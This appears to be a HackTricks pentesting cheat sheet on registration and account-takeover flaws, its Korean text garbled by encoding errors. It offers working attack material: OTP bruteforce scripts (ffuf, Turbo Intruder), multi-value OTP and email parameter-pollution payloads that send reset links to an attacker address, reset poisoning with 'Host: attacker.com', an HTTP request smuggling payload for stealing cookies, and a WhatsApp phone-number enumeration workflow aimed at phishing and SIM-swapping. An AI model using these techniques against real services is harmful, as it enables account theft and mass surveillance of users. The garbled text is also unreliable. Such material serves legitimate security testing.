๋ฑ๋ก ๋ฐ Takeover ์ทจ์ฝ์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Registration Takeover
Duplicate Registration
- ๊ธฐ์กด ์ฌ์ฉ์ ์ด๋ฆ์ผ๋ก ๊ณ์ ์์ฑ ์๋
- ์ด๋ฉ์ผ ๋ณํ ํ์ธ:
- ๋๋ฌธ์ ์ฌ์ฉ
- +1@
- ์ด๋ฉ์ผ์ ์ ์ถ๊ฐ
- ์ด๋ฉ์ผ ์ด๋ฆ์ ํน์ ๋ฌธ์ ์ฌ์ฉ (%00, %09, %20)
- ์ด๋ฉ์ผ ๋ค์ ๊ณต๋ฐฑ ๋ฌธ์ ๋ฃ๊ธฐ:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- ์ด๋ฉ์ผ ์ ๊ณต์ ์ ๊ทํ(canonicalization) ์ฐํ ์๋(์๋น์ค๋ณ๋ก ๋ค๋ฆ):
- Gmail์ ์ ๊ณผ subaddressing ๋ฌด์:
victim+1@gmail.com,v.ic.tim@gmail.com๋victim@gmail.com์ผ๋ก ์ ๋ฌ๋จ - ์ผ๋ถ ์ ๊ณต์๋ ๋ก์ปฌ ํํธ์์ ๋์๋ฌธ์ ๊ตฌ๋ถ์ ํ์ง ์์
- ์ผ๋ถ ์ ๊ณต์๋ unicode confusables๋ฅผ ํ์ฉํจ. ๋ก์ปฌ ํํธ์ ์ ์ฌ๋ฌธ์(homoglyphs)์ soft hyphen
\u00AD์๋ - ์ด๋ฅผ ์ ์ฉํด: ๊ณ ์ ์ฑ ๊ฒ์ฌ ์ฐํ, ์ค๋ณต ๊ณ์ /workspace ์ด๋ ํ๋, ๋๋ takeover ์ค๋น ์ค ํผํด์ ํ์๊ฐ์ ์ฐจ๋จ(์์ DoS)
Username Enumeration
์ ํ๋ฆฌ์ผ์ด์ ๋ด์์ ํน์ ์ฌ์ฉ์ ์ด๋ฆ์ด ์ด๋ฏธ ๋ฑ๋ก๋์ด ์๋์ง ํ์ ํ ์ ์๋์ง ํ์ธํ์ธ์.
- ์๋ก ๋ค๋ฅธ ์๋ฌ ๋ฉ์์ง๋ HTTP ์ํ ์ฝ๋
- ํ์ด๋ฐ ์ฐจ์ด(๊ธฐ์กด ์ฌ์ฉ์๋ IdP/DB ์กฐํ๋ฅผ ์ ๋ฐํ ์ ์์)
- ์๋ ค์ง ์ด๋ฉ์ผ์ ๋ํ ๋ฑ๋ก ํผ์ ํ๋กํ ๋ฐ์ดํฐ ์๋์์ฑ
- ํ/์ด๋ ํ๋ฆ ํ์ธ: ์ด๋ฉ์ผ ์ ๋ ฅ ์ ๊ณ์ ์กด์ฌ ์ฌ๋ถ๊ฐ ๋๋ฌ๋ ์ ์์
Password Policy
์ฌ์ฉ์ ์์ฑ ์ ๋น๋ฐ๋ฒํธ ์ ์ฑ
์ ํ์ธํ์ธ์(์ฝํ ๋น๋ฐ๋ฒํธ ์ฌ์ฉ ๊ฐ๋ฅ ์ฌ๋ถ).
๊ทธ๋ด ๊ฒฝ์ฐ ํฌ๋ํน(๋ธ๋ฃจํธํฌ์ค) ์๋๋ฅผ ํ ์ ์์ต๋๋ค.
SQL Injection
Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.
Oauth Takeovers
SAML Vulnerabilities
Change Email
๋ฑ๋ก๋ ์ํ์์ ์ด๋ฉ์ผ ๋ณ๊ฒฝ์ ์๋ํ๊ณ ํด๋น ๋ณ๊ฒฝ์ด ์ฌ๋ฐ๋ฅด๊ฒ ๊ฒ์ฆ๋๋์ง, ์์์ ์ด๋ฉ์ผ๋ก ๋ฐ๊ฟ ์ ์๋์ง ํ์ธํ์ธ์.
More Checks
- disposable emails(mailinator, yopmail, 1secmail ๋ฑ)์ ์ฌ์ฉํ ์ ์๋์ง ๋๋
victim+mailinator@gmail.com๊ฐ์ subaddressing์ผ๋ก ์ฐจ๋จ๋ชฉ๋ก ์ฐํ ๊ฐ๋ฅํ์ง ํ์ธ - ๊ธด password(>200)๋ DoS๋ก ์ด์ด์ง ์ ์์
- ๊ณ์ ์์ฑ์ ๋ํ rate limits ํ์ธ
- username@burp_collab.net ์ฌ์ฉ ํ callback ๋ถ์
- ์ ํ๋ฒํธ ์ธ์ฆ์ด ์ฌ์ฉ๋๋ค๋ฉด, ์ ํ๋ฒํธ ํ์ฑ/์ธ์ ์ ์ฃ์ง์ผ์ด์ค ํ์ธ
Contact-discovery / identifier-enumeration oracles
์ ํ๋ฒํธ ์ค์ฌ ๋ฉ์ ์ ๋ ํด๋ผ์ด์ธํธ๊ฐ ์ฐ๋ฝ์ฒ๋ฅผ ๋๊ธฐํํ ๋๋ง๋ค presence oracle์ ๋ ธ์ถํฉ๋๋ค. WhatsApp์ discovery ์์ฒญ์ ์ฌ์ํ๋ฉด ์ญ์ฌ์ ์ผ๋ก >100M lookups per hour๊ฐ ๊ฐ๋ฅํด ๊ฑฐ์ ์์ ํ ๊ณ์ ์ด๊ฑฐ๊ฐ ๊ฐ๋ฅํ์ต๋๋ค.
Attack workflow
- ๊ณต์ ํด๋ผ์ด์ธํธ๋ฅผ ๊ณ์ธก(instrument) ํ์ฌ ์ฃผ์๋ก ์ ๋ก๋ ์์ฒญ(์ ๊ทํ๋ E.164 ๋ฒํธ์ ์ธ์ฆ๋ blob)์ ์บก์ฒํฉ๋๋ค. ๋์ผํ ์ฟ ํค/๊ธฐ๊ธฐ ํ ํฐ์ ์ฌ์ฌ์ฉํ๋ฉด์ ๊ณต๊ฒฉ์๊ฐ ์์ฑํ ๋ฒํธ๋ก ์ฌ์ํฉ๋๋ค.
- ํ ์์ฒญ์ ๋ค์์ ๋ฒํธ ๋ฐฐ์น: WhatsApp์ ์์ฒ ๊ฐ์ ์๋ณ์๋ฅผ ํ์ฉํ๋ฉฐ ๋ฑ๋ก/๋ฏธ๋ฑ๋ก๊ณผ ๋ฉํ๋ฐ์ดํฐ(๋น์ฆ๋์ค, companion ๋ฑ)๋ฅผ ๋ฐํํฉ๋๋ค. ์๋ต์ ์คํ๋ผ์ธ์ผ๋ก ๋ถ์ํด ํผํด์์๊ฒ ๋ฉ์์ง๋ฅผ ๋ณด๋ด์ง ์๊ณ ํ๊น ๋ฆฌ์คํธ๋ฅผ ๊ตฌ์ถํฉ๋๋ค.
- SIM bank, cloud devices, ๋๋ residential proxies๋ก ์ด๊ฑฐ๋ฅผ ์ํ ํ์ฅํ์ฌ ๊ณ์ /IP/ASN๋ณ ์ฐ๋กํ๋ง์ด ๋ฐ์ํ์ง ์๊ฒ ํฉ๋๋ค.
Dialing-plan modeling
๊ฐ ๊ตญ๊ฐ์ ๋ค์ด์ผ๋ง ํ๋์ ๋ชจ๋ธ๋งํด ์ ํจํ์ง ์์ ํ๋ณด๋ฅผ ๊ฑด๋๋ฐ์ธ์. NDSS dataset (country-table.*)์ ๊ตญ๊ฐ ์ฝ๋, ์ฑํ ๋ฐ๋, ํ๋ซํผ ๋ถํ ์ ์ ๊ณตํ๋ฏ๋ก ์ ์ค๋ฅ ์ด ๋์ ๋ฒ์๋ฅผ ์ฐ์ ์์๋ก ๋ ์ ์์ต๋๋ค. Example seeding code:
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.
enumerations์ ํ์ ํ๋ ๊ณต๊ฒฉ์ผ๋ก ์ ํํ๊ธฐ
- phishing, SIM-swapping, ๋๋ spamming ์ ์ ์ด๋ค ์ ์์ด ์ฌ์ ํ ํ์ฑ ์ํ์ธ์ง ํ์ ํ๊ธฐ ์ํด leaked phone numbers(์: Facebookโs 2021 breach)๋ฅผ oracle์ ํฌ์ ํ์ธ์.
- ๊ตญ๊ฐ/OS/์ฑ ์ ํ๋ณ๋ก ์ธ๊ตฌ์กฐ์ฌ๋ฅผ ๋ถํ ํ์ฌ SMS filtering์ด ์ฝํ๊ฑฐ๋ WhatsApp Business ์ฑํ๋ฅ ์ด ๋์ ์ง์ญ์ ์ฐพ์ ํ์งํ๋ social engineering์ ํ์ฉํ์ธ์.
Public-key reuse correlation
WhatsApp๋ ์ธ์ ์ค์ ์ค ๊ฐ ๊ณ์ ์ X25519 identity key๋ฅผ ๋ ธ์ถํฉ๋๋ค. ๋ชจ๋ enumerated ๋ฒํธ์ ๋ํด identity material์ ์์ฒญํ๊ณ public keys๋ฅผ ์ค๋ณต ์ ๊ฑฐํ๋ฉด account farms, cloned clients, ๋๋ insecure firmware๊ฐ ๋๋ฌ๋ฉ๋๋ค โ shared keys๋ multi-SIM ์ด์์ ์ต๋ช ์ฑ์ ์ ๊ฑฐํฉ๋๋ค.
์ทจ์ฝํ ์ด๋ฉ์ผ/์ ํ ๊ฒ์ฆ (OTP/Magic Link)
Registration flows๋ ์ข ์ข ์ซ์ OTP ๋๋ magic-link ํ ํฐ์ผ๋ก ์์ ๊ถ์ ๊ฒ์ฆํฉ๋๋ค. ์ผ๋ฐ์ ์ธ ์ทจ์ฝ์ :
- ์ถ์ธก ๊ฐ๋ฅํ๊ฑฐ๋ ์งง์ OTP(4โ6 digits)๋ก rate limiting์ด๋ IP/device tracking์ด ํจ๊ณผ์ ์ด์ง ์์ ๊ฒฝ์ฐ. ๋ณ๋ ฌ ์ถ์ธก ๋ฐ header/IP ํ์ ์ ์๋ํ์ธ์.
- OTP๊ฐ ์ฌ๋ฌ ๋์ ๋๋ ๊ณ์ ์์ ์ฌ์ฌ์ฉ๋๊ฑฐ๋ ํน์ ์ฌ์ฉ์/๋์์ ๋ฐ์ธ๋ฉ๋์ด ์์ง ์์ ๊ฒฝ์ฐ(์: ๋์ผ ์ฝ๋๊ฐ login๊ณผ signup์ ๋ชจ๋ ์๋ํ๊ฑฐ๋ ์ด๋ฉ์ผ ๋ณ๊ฒฝ ํ์๋ ์๋).
- Multi-value smuggling: ์ผ๋ถ ๋ฐฑ์๋๋ ์ฌ๋ฌ ์ฝ๋๋ฅผ ํ์ฉํ๊ณ ๊ทธ์ค ํ๋๋ผ๋ ์ผ์นํ๋ฉด ์ธ์ฆํฉ๋๋ค. ์๋ํด๋ณด์ธ์:
code=000000&code=123456- JSON arrays:
{"code":["000000","123456"]} - Mixed parameter names:
otp=000000&one_time_code=123456 - Comma/pipe separated values:
code=000000,123456orcode=000000|123456 - Response oracle: status/message/body ๊ธธ์ด๋ก wrong vs expired vs wrong-user ์ฝ๋๋ฅผ ๊ตฌ๋ถํ์ธ์.
- ํ ํฐ์ด ์ฑ๊ณต ํ ๋๋ password/email ๋ณ๊ฒฝ ํ ๋ฌดํจํ๋์ง ์์.
- Verification token์ด user agent/IP์ ๋ฌถ์ฌ์์ง ์์ attacker-controlled ํ์ด์ง์์ cross-origin์ผ๋ก ์๋ฃ๋ ์ ์์.
Bruteforcing example with ffuf against a JSON OTP endpoint:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
์์ฐจ์ ์ ๊ธ(sequential lockouts)์ ์ฐํํ๊ธฐ ์ํ Parallel/concurrent guessing (Burp์ Turbo Intruder ์ฌ์ฉ):
6์๋ฆฌ OTP ์๋๋ฅผ ๋๋์ผ๋ก ์ ์กํ๊ธฐ ์ํ Turbo Intruder ์ค๋ํซ
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and bโInvalidโ not in req.response: table.add(req)
</details>
- Try racing verification: ๋์ผํ ์ ํจํ OTP๋ฅผ ๋ ๊ฐ์ ์ธ์
์์ ๋์์ ์ ์ถํด ๋ณด์ธ์; ๋๋ก๋ ํ ์ธ์
์ด ๊ฒ์ฆ๋ attacker account๊ฐ ๋๋ ๋์ ํผํด์ ํ๋ฆ๋ ์ฑ๊ณตํฉ๋๋ค.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account PreโHijacking Techniques (before the victim signs up)
A powerful class of issues occurs when an attacker performs actions on the victimโs email before the victim creates their account, then regains access later.
Key techniques to test (adapt to the targetโs flows):
- ClassicโFederated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attackerโs access
- Unexpired Session Identifier
- Attacker: creates account and holds a longโlived session (donโt log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the preโcreated account (phone, additional email, or links attackerโs IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates emailโchange to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending emailโchange to steal the account
- NonโVerifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@โฆ`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification
Practical tips
- ์น/๋ชจ๋ฐ์ผ ๋ฒ๋ค์์ ํ๋ฆ๊ณผ ์๋ํฌ์ธํธ๋ฅผ ์์งํ์ธ์. classic signup, SSO linking, email/phone change, ๊ทธ๋ฆฌ๊ณ password reset ์๋ํฌ์ธํธ๋ฅผ ์ฐพ์ผ์ธ์.
- ๋ค๋ฅธ ํ๋ฆ์ ํ
์คํธํ๋ ๋์ ์ธ์
์ ์ ์งํ๋๋ก ํ์ค์ ์ธ ์๋ํ๋ฅผ ๋ง๋์ธ์.
- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
- ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ๋๋ ์ด๋ฉ์ผ ๋ณ๊ฒฝ ํ์๋ ๋ค์์ ํ์ธํ์ธ์:
- ๋ชจ๋ ๋ค๋ฅธ ์ธ์
๊ณผ ํ ํฐ์ด ๋ฌดํจํ๋์๋์ง,
- ๋ณด๋ฅ ์ค์ธ ์ด๋ฉ์ผ/์ ํ ๋ณ๊ฒฝ ๊ธฐ๋ฅ์ด ์ทจ์๋์๋์ง,
- ์ด์ ์ ์ฐ๋๋ IdPs/์ด๋ฉ์ผ/์ ํ๋ฒํธ๊ฐ ์ฌ๊ฒ์ฆ๋์๋์ง.
Note: Extensive methodology and case studies of these techniques are documented by Microsoftโs preโhijacking research (see References at the end).
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Request password reset to your email address
2. Click on the password reset link
3. Donโt change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR on API Parameters
- Attacker๋ ์์ ์ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ ํ Change password ๊ธฐ๋ฅ์ผ๋ก ์ด๋ํด์ผ ํ๋ค.
- Burp Suite๋ฅผ ์คํํ๊ณ ์์ฒญ์ Interceptํ๋ค.
- ์์ฒญ์ Repeater ํญ์ผ๋ก ๋ณด๋ด๊ณ ํ๋ผ๋ฏธํฐ๋ฅผ ์์ ํ๋ค: User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Weak Password Reset Token
The password reset token should be randomly generated and unique every time.
ํ ํฐ์ด ๋ง๋ฃ๋๋์ง ๋๋ ํญ์ ๋์ผํ์ง ํ์ธํด๋ณด๋ผ. ๊ฒฝ์ฐ์ ๋ฐ๋ผ ์์ฑ ์๊ณ ๋ฆฌ์ฆ์ด ์ฝํด ์ถ์ธก๋ ์ ์๋ค. ์๊ณ ๋ฆฌ์ฆ์ ์ฌ์ฉ๋ ์ ์๋ ๋ณ์๋ ๋ค์๊ณผ ๊ฐ๋ค.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Leaking Password Reset Token
- ํน์ ์ด๋ฉ์ผ(e.g: test@mail.com)์ ๋ํด API/UI๋ฅผ ์ฌ์ฉํด password reset ์์ฒญ์ ํธ๋ฆฌ๊ฑฐํ๋ค.
- ์๋ฒ ์๋ต์ ๊ฒ์ฌํ๊ณ
resetToken์ ํ์ธํ๋ค. - ๊ทธ๋ฐ ๋ค์ ํ ํฐ์ ๋ค์๊ณผ ๊ฐ์ URL์ ์ฌ์ฉํ๋ค:
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- ํผํด์์ username๊ณผ ๋์ผํ์ง๋ง username ์๋ค๋ก ๊ณต๋ฐฑ์ ์ฝ์
ํ ์ฌ์ฉ์๋ช
์ผ๋ก ์์คํ
์ ๋ฑ๋กํ๋ค. e.g:
"admin " - ์ ์์ ์ธ username์ผ๋ก password reset์ ์์ฒญํ๋ค.
- ์ด๋ฉ์ผ๋ก ์ ์ก๋ ํ ํฐ์ ์ฌ์ฉํด ํผํด์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ค์ ํ๋ค.
- ์ ๋น๋ฐ๋ฒํธ๋ก ํผํด์ ๊ณ์ ์ ๋ก๊ทธ์ธํ๋ค.
ํ๋ซํผ CTFd๋ ์ด ๊ณต๊ฒฉ์ ์ทจ์ฝํ๋ค.
See: CVE-2020-7245
Account Takeover Via Cross Site Scripting
- ์ ํ๋ฆฌ์ผ์ด์
์ด๋ ์๋ธ๋๋ฉ์ธ์์ XSS๋ฅผ ์ฐพ๋๋ค โ ์ฟ ํค๊ฐ ๋ถ๋ชจ ๋๋ฉ์ธ์ผ๋ก scope๋์ด ์๋ ๊ฒฝ์ฐ:
*.domain.com - Leak the current sessions cookie
- ํด๋น ์ฟ ํค๋ฅผ ์ฌ์ฉํด ์ฌ์ฉ์๋ก ์ธ์ฆํ๋ค.
Account Takeover Via HTTP Request Smuggling
- smuggler๋ฅผ ์ฌ์ฉํด HTTP Request Smuggling ์ ํ(CL, TE, CL.TE)์ ํ์งํ๋ค.
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\ - ๋ค์ ๋ฐ์ดํฐ๋ก
POST / HTTP/1.1๋ฅผ ๋ฎ์ด์ฐ๋ ์์ฒญ์ ๊ตฌ์ฑํ๋ค:GET http://something.burpcollaborator.net HTTP/1.1 X:โ ๋ชฉ์ ์ victims๋ฅผ burpcollab๋ก open redirect ์์ผ ์ฟ ํค๋ฅผ ํ์ทจํ๋ ๊ฒ์ด๋ค.\ - ์ต์ข ์์ฒญ์ ๋ค์๊ณผ ๊ฐ์ด ๋ณด์ผ ์ ์๋ค
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone์์ ์ด ๋ฒ๊ทธ๋ฅผ ์ ์ฉํ๋ค๊ณ ๋ณด๊ณ ํจ\
CSRF๋ฅผ ํตํ ๊ณ์ ํ์ทจ
- CSRF์ฉ ํ์ด๋ก๋๋ฅผ ์์ฑ, ์: โHTML form with auto submit for a password changeโ
- ํ์ด๋ก๋ ์ ์ก
JWT๋ฅผ ํตํ ๊ณ์ ํ์ทจ
JSON Web Token์ ์ฌ์ฉ์ ์ธ์ฆ์ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
- JWT์ User ID / Email์ ๋ค๋ฅธ ๊ฒ์ผ๋ก ์์
- ์ทจ์ฝํ JWT ์๋ช ์ฌ๋ถ ํ์ธ
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
์ผ๋ถ signup ํธ๋ค๋ฌ๋ ์ ๊ณต๋ ์ด๋ฉ์ผ์ด ์ด๋ฏธ ์กด์ฌํ ๋ upsert๋ฅผ ์ํํฉ๋๋ค. ๋ง์ฝ endpoint๊ฐ ์ด๋ฉ์ผ๊ณผ ๋น๋ฐ๋ฒํธ๋ง ํฌํจ๋ ์ต์ํ์ ๋ฐ๋๋ฅผ ํ์ฉํ๊ณ ์์ ๊ถ ๊ฒ์ฆ์ ๊ฐ์ ํ์ง ์์ผ๋ฉด, ํผํด์์ ์ด๋ฉ์ผ์ ์ ์กํ์ฌ ์ธ์ฆ ์ด์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
- ๋ฐ๊ฒฌ: ๋ฒ๋ค๋ JS(๋๋ ๋ชจ๋ฐ์ผ ์ฑ ํธ๋ํฝ)์์ endpoint ์ด๋ฆ์ ์์งํ ๋ค, ffuf/dirsearch๋ฅผ ์ฌ์ฉํด /parents/application/v4/admin/FUZZ ๊ฐ์ base path๋ฅผ fuzzํฉ๋๋ค.
- ๋ฐฉ๋ฒ ํํธ: โOnly POST request is allowed.โ ๊ฐ์ ๋ฉ์์ง๋ฅผ ๋ฐํํ๋ GET์ ์ฌ๋ฐ๋ฅธ ๋ฉ์๋๊ฐ POST์์, ๊ทธ๋ฆฌ๊ณ JSON ๋ฐ๋๊ฐ ์์๋จ์ ๋ํ๋ด๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
- ์ค์ ์ฌ๋ก์์ ๊ด์ฐฐ๋ ์ต์ ๋ฐ๋:
{"email":"victim@example.com","password":"New@12345"}
์์ PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
์ํฅ: reset token, OTP ๋๋ email verification ์์ด Full Account Takeover (ATO)์ด ๊ฐ๋ฅํฉ๋๋ค.
์ฐธ๊ณ ์๋ฃ
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- Microsoft MSRC โ Preโhijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


